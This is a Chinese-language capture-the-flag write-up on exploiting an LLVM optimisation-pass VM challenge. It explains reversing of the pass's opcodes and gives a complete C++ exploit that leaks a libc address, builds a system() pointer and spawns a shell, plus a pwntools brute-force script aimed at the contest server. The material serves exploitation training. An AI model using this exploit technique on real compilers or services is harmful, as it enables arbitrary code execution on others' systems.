LLVM PASS PWN:使用c++编写exp
字数 1744 2025-08-23 18:31:25

LLVM PASS PWN 利用技术详解

前言

LLVM PASS PWN 是一种利用 LLVM 优化过程中加载的恶意 PASS 模块进行漏洞利用的技术。本文将通过一个实际案例(源鲁杯 Round3 的困难题"show_me_the_code")详细讲解如何使用 C++ 编写 EXP 来利用这类漏洞。

基础知识

LLVM 简介

LLVM 是一个模块化的编译器框架,主要优势在于:

  • 使用统一的中间表示(IR)避免了为不同平台重新设计编译器
  • 前后端分离,支持多种前端语言和目标平台

IR 的三种表现形式

  1. .ll:可读的文本格式 IR(类似汇编)
  2. .bc:不可读的二进制格式 IR
  3. 内存中的 IR 表示

LLVM 工具链

  • llvm-as:将文本 IR 汇编为二进制格式
  • llvm-dis:将二进制 IR 反汇编为文本格式
  • opt:优化 LLVM IR
  • llc:将 LLVM IR 编译为汇编代码
  • lli:解释执行 LLVM IR

环境配置

sudo apt install clang-12 clang-8 llvm-12 llvm-8

程序编译

# 编译为 .ll
clang-12 -emit-llvm -S exp.c -o exp.ll
# 编译为 .bc
clang-12 -emit-llvm -c exp.c -o exp.bc

PASS 运行方式

opt-12 -load ./xxx.so -标识符 ./exp.ll

其中"标识符"与动态库中注册的 PASS 相关联。

C++ 函数名修饰规则

C++ 编译时会进行名称修饰(Name Mangling),规则如下:

  • _Z:修饰名称的开始
  • N:表示函数或静态成员函数
  • 数字:函数名长度
  • 类名和函数名:经过编码
  • E:参数列表开始
  • 参数类型:用特定字母表示

常见参数类型编码:

  • i:int
  • j:unsigned int
  • l:long
  • x:long long
  • m:unsigned long
  • c:char
  • h:unsigned char
  • b:bool

示例:_ZN4edoc4addiEhii 表示:

  • edoc 类中的 addi 函数
  • 参数类型:unsigned char、int、int

解题流程

1. 确定标识符

在动态库的初始化函数(如_cxx_global_var_init_17)中查找StringRef函数的参数:

llvm::StringRef::StringRef((llvm::StringRef *)&v3, "Co00o0oOd3");

确定运行方式:

./opt-12 -load ./codeVM.so -Co00o0oOd3 ./exp.ll

2. 导入动态链接库

sudo cp codeVM.so /lib

3. 确定程序入口

.data.rel.ro段查找虚表,最后一项通常是程序入口函数:

.data.rel.ro:0000000000030D90 dq offset _ZN12_GLOBAL__N_110c0oo0o0Ode13runOnFunctionERN4llvm8FunctionE

4. 动态调试

使用 GDB 调试:

gdb opt-12
set args -load ./xxx.so -xxx ./exp.ll

在 main 函数下断点,运行至所有llvm::initialize前缀的初始化函数结束,使用vmmap获取基址。

5. 确定函数名

llvm::operator==处下断点,观察比较的函数名:

_Z10c0deVmMainv  # 入口函数
_ZN4edoc4addiEhii  # edoc类的addi函数

6. 编写交互脚本

根据逆向结果编写类和方法声明:

class edoc {
public:
    void addi(unsigned char x, int y, int z) {}
    void chgr(unsigned char x, int y) {}
    void sftr(unsigned char x, bool y, unsigned char z) {}
    void borr(unsigned char x, unsigned char y, unsigned char z) {}
    void movr(unsigned char x, unsigned char y) {}
    void save(unsigned char x, unsigned int y) {}
    void load(unsigned char x, unsigned int y) {}
    void runc(unsigned char x, unsigned int y) {}
};

edoc obj;

int c0deVmMain() {
    return 0;
}

逆向分析结果

操作码功能

  1. addi: regs[x] = y + z (x ≤ 5)
  2. chgr: regs[x] += y (x ≤ 5, -0x1000 < y < 0x1000, 一次性)
  3. sftr:
    • y == 1: regs[x] << z
    • y == 0: regs[x] >> z (x ≤ 5, y < 0x40)
  4. borr: regs[x] = regs[y] | regs[z] (x,y,z ≤ 5)
  5. movr: regs[x] = regs[y] (x,y < 8)
  6. save: *(y+regs[6]) = regs[x] (x ≤ 5, y ≤ 0x1000, y & 7 == 0, regs[6] & 0xFFF = 0)
  7. load: regs[x] = *(y+regs[6]) (同上)
  8. runc: *(y+regs[6])(regs[x]) (同上)

利用思路

  1. 使用load获取 libc 地址(从 opt-12 的 GOT 表)
  2. 通过位移和或运算构造 system 地址
  3. 使用save存储$0字符串
  4. 使用runc调用 system('$0')

EXP 代码

int c0deVmMain() {
    obj.addi(0, 0x442000, 0);
    obj.movr(6, 0);
    obj.addi(1, 0x443000, 0);
    obj.movr(7, 1);  // regs[7] = regs[6] + 0x1000
    
    obj.load(2, 0xad8);  // regs[2] = getenv_addr
    obj.sftr(2, 0, 16);  // 右移16位
    obj.sftr(2, 1, 12);  // 左移12位
    obj.addi(5, 0x400, 0);
    obj.borr(2, 2, 5);
    obj.chgr(2, 0xc00);  // 加0xc00
    obj.sftr(2, 1, 4);   // 左移4位
    
    obj.addi(4, 0xd70, 0);
    obj.borr(2, 2, 4);   // 设置末位
    
    obj.addi(4, 0x3024, 0);
    obj.save(4, 0x1000); // 保存'$0'
    obj.save(2, 0xb00);  // 保存system地址
    obj.runc(1, 0xb00);  // 调用system('$0')
    
    return 0;
}

爆破脚本

from pwn import *
import base64

context(arch='amd64', os='linux', log_level='debug')

with open("exp.ll", "rb") as file:
    p = base64.b64encode(file.read())
    p += b'\nEOF\n'

rnd = 0
while True:
    try:
        r = remote('challenge.yuanloo.com', 43319)
        rnd += 1
        print(f'the {rnd} round')
        r.recvuntil(b'(EOF to stop):\n')
        r.send(p)
        r.sendline('cat flag')
        for i in range(4):
            s = r.recvline()
            if b'YLCTF' in s:
                print(s)
                break
        else:
            continue
    except EOFError:
        r.close()
        continue

总结

本文详细介绍了 LLVM PASS PWN 的利用技术,包括环境配置、逆向分析、利用思路和 EXP 编写。关键点包括:

  1. 通过动态调试确定关键函数名
  2. 理解 C++ 名称修饰规则
  3. 利用 LLVM PASS 的操作码构造任意代码执行
  4. 通过位移和运算绕过 ASLR
  5. 编写可靠的爆破脚本提高利用成功率
LLVM PASS PWN 利用技术详解 前言 LLVM PASS PWN 是一种利用 LLVM 优化过程中加载的恶意 PASS 模块进行漏洞利用的技术。本文将通过一个实际案例(源鲁杯 Round3 的困难题"show_ me_ the_ code")详细讲解如何使用 C++ 编写 EXP 来利用这类漏洞。 基础知识 LLVM 简介 LLVM 是一个模块化的编译器框架,主要优势在于: 使用统一的中间表示(IR)避免了为不同平台重新设计编译器 前后端分离,支持多种前端语言和目标平台 IR 的三种表现形式 .ll :可读的文本格式 IR(类似汇编) .bc :不可读的二进制格式 IR 内存中的 IR 表示 LLVM 工具链 llvm-as :将文本 IR 汇编为二进制格式 llvm-dis :将二进制 IR 反汇编为文本格式 opt :优化 LLVM IR llc :将 LLVM IR 编译为汇编代码 lli :解释执行 LLVM IR 环境配置 程序编译 PASS 运行方式 其中"标识符"与动态库中注册的 PASS 相关联。 C++ 函数名修饰规则 C++ 编译时会进行名称修饰(Name Mangling),规则如下: _Z :修饰名称的开始 N :表示函数或静态成员函数 数字:函数名长度 类名和函数名:经过编码 E :参数列表开始 参数类型:用特定字母表示 常见参数类型编码: i :int j :unsigned int l :long x :long long m :unsigned long c :char h :unsigned char b :bool 示例: _ZN4edoc4addiEhii 表示: edoc 类中的 addi 函数 参数类型:unsigned char、int、int 解题流程 1. 确定标识符 在动态库的初始化函数(如 _cxx_global_var_init_17 )中查找 StringRef 函数的参数: 确定运行方式: 2. 导入动态链接库 3. 确定程序入口 在 .data.rel.ro 段查找虚表,最后一项通常是程序入口函数: 4. 动态调试 使用 GDB 调试: 在 main 函数下断点,运行至所有 llvm::initialize 前缀的初始化函数结束,使用 vmmap 获取基址。 5. 确定函数名 在 llvm::operator== 处下断点,观察比较的函数名: 6. 编写交互脚本 根据逆向结果编写类和方法声明: 逆向分析结果 操作码功能 addi : regs[x] = y + z (x ≤ 5) chgr : regs[x] += y (x ≤ 5, -0x1000 < y < 0x1000, 一次性) sftr : y == 1 : regs[x] << z y == 0 : regs[x] >> z (x ≤ 5, y < 0x40) borr : regs[x] = regs[y] | regs[z] (x,y,z ≤ 5) movr : regs[x] = regs[y] (x,y < 8) save : *(y+regs[6]) = regs[x] (x ≤ 5, y ≤ 0x1000, y & 7 == 0, regs[ 6 ] & 0xFFF = 0) load : regs[x] = *(y+regs[6]) (同上) runc : *(y+regs[6])(regs[x]) (同上) 利用思路 使用 load 获取 libc 地址(从 opt-12 的 GOT 表) 通过位移和或运算构造 system 地址 使用 save 存储 $0 字符串 使用 runc 调用 system('$0') EXP 代码 爆破脚本 总结 本文详细介绍了 LLVM PASS PWN 的利用技术,包括环境配置、逆向分析、利用思路和 EXP 编写。关键点包括: 通过动态调试确定关键函数名 理解 C++ 名称修饰规则 利用 LLVM PASS 的操作码构造任意代码执行 通过位移和运算绕过 ASLR 编写可靠的爆破脚本提高利用成功率